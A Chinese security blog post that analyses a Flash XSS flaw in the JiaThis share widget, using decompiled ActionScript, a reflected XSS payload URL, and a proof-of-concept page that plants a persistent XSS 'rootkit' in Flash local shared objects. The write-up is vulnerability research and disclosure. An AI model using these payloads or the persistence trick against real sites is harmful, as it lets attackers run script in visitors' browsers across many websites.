对JiaThis Flash XSS的挖掘与分析

看到360官微在微博上说了, http://www.jiathis.com/code/swf/m.swf 存在XSS漏洞,可以导致使用了JiaThis的任意网站产生漏洞。得到这个线索,我们来开始顺藤摸瓜,对这个XSS的原理与利用方法进行一次分析。

这次的分析我想以一个发现者的分析顺序去分析,所以假设我这个时候并不知道JiaThis存在Flash XSS。来到JiaThis的官网,就能很快找到他们提供的代码:

<!-- JiaThis Button BEGIN -->
<div class="jiathis_style">
    <a class="jiathis_button_qzone"></a>
    <a class="jiathis_button_tsina"></a>
    <a class="jiathis_button_tqq"></a>
    <a class="jiathis_button_weixin"></a>
    <a class="jiathis_button_renren"></a>
    <a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
    <a class="jiathis_counter_style"></a>
</div>
<script type="text/javascript" src="http://v3.jiathis.com/code/jia.js?uid=1427098094896152" charset="utf-8"></script>
<!-- JiaThis Button END -->

最核心的其实就是http://v3.jiathis.com/code/jia.js?uid=1427098094896152 这个javascript,我们打开发现是加过密的。在tool.lu上不能直接解密,当然这并不是说他不能解密。我们将eval去掉,中间部分运行后,console.log打印出来,即可看见真实源码:

QQ20150325-4@2x.png

将得到的源码美化一下,就可以直接看了。由于代码太长,就不贴出来了。

大概浏览一遍,并没有什么发现。我们干脆将jiathis的代码放在页面中,查看一下数据包:

QQ20150325-5@2x.png

画框的两个,之前没见过,可以研究一下。plugin.client.js解密后,有一段比较有意思:

function init() {
    var s = (na.userAgent.indexOf("MSIE") > 0) ? d.getElementById(SWFID) : d[SWFID],
        fv = getFV();
    if (typeof s == 'undefined' || s == 'null' || !s) {
        d.write("<div style='position:absolute;width:0px;height:0px;'><object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' width=0 height=0 id='" + SWFID + "' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param name='allowScriptAccess' value='always'><param name='swLiveConnect' value='true'><param name='movie' value='" + fO.path + "'><param name='FlashVars' value='z=a'><embed name='" + SWFID + "' src='" + fO.path + "' FlashVars='z=a' width=0 height=0 allowscriptaccess='always' swLiveConnect='true' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer' /></object></div>")
    }
    if (fv != '-' && parseInt(fv.match(/^\d+(?=.)/)) > 8) {
        fO.su = 1
    }
}
init();
return {
    ready: function(p) {
        if (fO.su) {
            var a = d[SWFID] || d.getElementById(SWFID),
                jid = a.readSharedObject(JIDNAME),
                ut = getUT(jid);
            if (!def(jid)) {
                uptUt(a, ut)
            }
            if (typeof($CKE) == 'object') {
                $CKE.jid = ut.jid
            }
            if (typeof(JIATHISCKMP) == 'object') {
                if (typeof(JIATHISCKMP.mapping) == 'function') {
                    JIATHISCKMP.mapping(ut.jid)
                }
            }
            reqUT(ut)
        }
    }
}

加载了一个flash,也就是之前的m.swf,并且allowscriptaccess的值为always,这说明这个页面中的swf是可以执行javascript代码的。在其中看到了一个敏感的名字a.readSharedObject(JIDNAME)。readSharedObject看起来似乎是在flash的LSO对象中读取值的方法。

http://www.jiathis.com/code/swf/m.swf 反编译,得到如下代码:

package m_fla {
    import flash.display.*;
    import flash.net.*;
    import adobe.utils.*;
    import flash.accessibility.*;
    import flash.desktop.*;
    import flash.errors.*;
    import flash.events.*;
    import flash.external.*;
    import flash.filters.*;
    import flash.geom.*;
    import flash.media.*;
    import flash.printing.*;
    import flash.profiler.*;
    import flash.sampler.*;
    import flash.system.*;
    import flash.text.*;
    import flash.text.engine.*;
    import flash.ui.*;
    import flash.utils.*;
    import flash.xml.*;

    public dynamic class MainTimeline extends MovieClip {

        public const appName:String = "mao";

        public var mySo:SharedObject;

        public function MainTimeline(){
            addFrameScript(0, this.frame1);
        }
        public function writeSharedObject(param1:String, param2:String):void{
            this.mySo = SharedObject.getLocal(this.appName);
            this.mySo.data[param1] = param2;
            this.mySo.flush();
        }
        function frame1(){
            this.main();
            stop();
        }
        public function deleteObjects():void{
            this.mySo = SharedObject.getLocal(this.appName);
            if (this.mySo != null){
                this.mySo.clear();
            };
        }
        public function deleteObject(param1:String):Boolean{
            this.mySo = SharedObject.getLocal(this.appName);
            if (((!((this.mySo == null))) && (!((this.mySo.data[param1] == null))))){
                delete this.mySo.data[param1];
                return (true);
            };
            return (false);
        }
        public function main(){
            var paramObj:* = null;
            Security.allowDomain("*");
            paramObj = root.loaderInfo.parameters;
            try {
                if (ExternalInterface.available){
                    ExternalInterface.addCallback("writeSharedObject", this.writeSharedObject);
                    ExternalInterface.addCallback("readSharedObject", this.readSharedObject);
                    ExternalInterface.addCallback("readObjects", this.readObjects);
                    ExternalInterface.addCallback("deleteObject", this.deleteObject);
                    ExternalInterface.addCallback("deleteObjects", this.deleteObjects);
                    ExternalInterface.call("_gnayTrack.ready", paramObj);
                };
            } catch(e) {
            };
        }
        public function readSharedObject(param1:String):String{
            this.mySo = SharedObject.getLocal(this.appName);
            return (String(this.mySo.data[param1]));
        }
        public function readObjects():Object{
            this.mySo = SharedObject.getLocal(this.appName);
            return (this.mySo.data);
        }

    }
}//package m_fla

暂且不看LSO的部分,这里很明显有一个反射型XSS:ExternalInterface.call("_gnayTrack.ready", paramObj);

paramObj是root.loaderInfo.parameters,将paramObj作为ExternalInterface.call方法的第二个参数,第二个参数的话我们可以用\"的方式逃逸出引号范围,执行javascript代码。

有人问了,root.loaderInfo.parameters是个对象,怎么传入ExternalInterface.call?ExternalInterface.call的第二个参数应该是一个字符串,但传入对象也是可以的,实际最后执行的时候应该是类似_gnayTrack.ready({"a": "xxxxx"})

所以,我们现在不仅要闭合双引号",还要闭合一个大括号}和一个小括号),所以最后的payload比大家以前见到的多了}):

http://www.jiathis.com/code/swf/m.swf?a=\"})))}catch(e){alert(1)}//

弹了:

QQ20150325-6@2x.png

这一处应该是一个意外收获。不过收获比较小,因为域是www.jiathis.com,XSS并不能影响到使用jiathis的网站。(除非你将这个swf放在自己的域名下)

回到刚才说的LSO,由于LSO造成的漏洞乌云上也不少了,比如 http://wooyun.org/bugs/wooyun-2014-065197http://www.wooyun.org/bugs/wooyun-2013-039481 等。

我们看到swf源码中,确实是调用了LSO对象。我们找到对象保存在我们电脑上的文件C:\Users\phithon\AppData\Local\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\#SharedObjects\DR6LLMCM\www.jiathis.com\code\swf\m.swf\mao.sol

QQ20150325-7@2x.png    

可以看到保存在LSO的内容实际上就是jid=xxxx,我们在控制台直接调用swf对象获得jid的值也验证了这一点:

QQ20150325-8@2x.png

这就好说了。我们将“脏数据”作为jia的值存入LSO,就能留下一个永久后门。

简单构造一个POC:

<html>
<head>
    <meta charset="uft-8">
    <title>lookup</title>
</head>
<body onload="return rootkit();">
<p>
hehe
</p>
<!-- JiaThis Button BEGIN -->
<div class="jiathis_style">
    <a class="jiathis_button_qzone"></a>
    <a class="jiathis_button_tsina"></a>
    <a class="jiathis_button_tqq"></a>
    <a class="jiathis_button_weixin"></a>
    <a class="jiathis_button_renren"></a>
    <a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
    <a class="jiathis_counter_style"></a>
</div>
<script type="text/javascript" src="http://v3.jiathis.com/code/jia.js?uid=1427098094896152" charset="utf-8"></script>
<!-- JiaThis Button END -->
<script>
function rootkit(){
    var a = document["JIATHISSWF"];
    a.writeSharedObject("jid", '\\";(function(){if(location.host!=\'mhz.pw\'){alert(document.domain);}})();//a');
}
</script>
</body>
</html>

我将之保存在 http://mhz.pw/game/jiathis/jiathis.html,当访问了这个页面以后,再访问使用了jiathis的网站,即可在该站域下触发XSS,形成一个永久的XSS Rootkit:

QQ20150325-9@2x.png

QQ20150325-10@2x.png

赞赏

喜欢这篇文章?打赏1元

评论

北京SEO 回复

感谢你的分享

tm4n 回复

复现不了了,官方已经修复了?

phithon 回复

@tm4n:不算修复,只算规避。把加载m.swf的代码删了。

captcha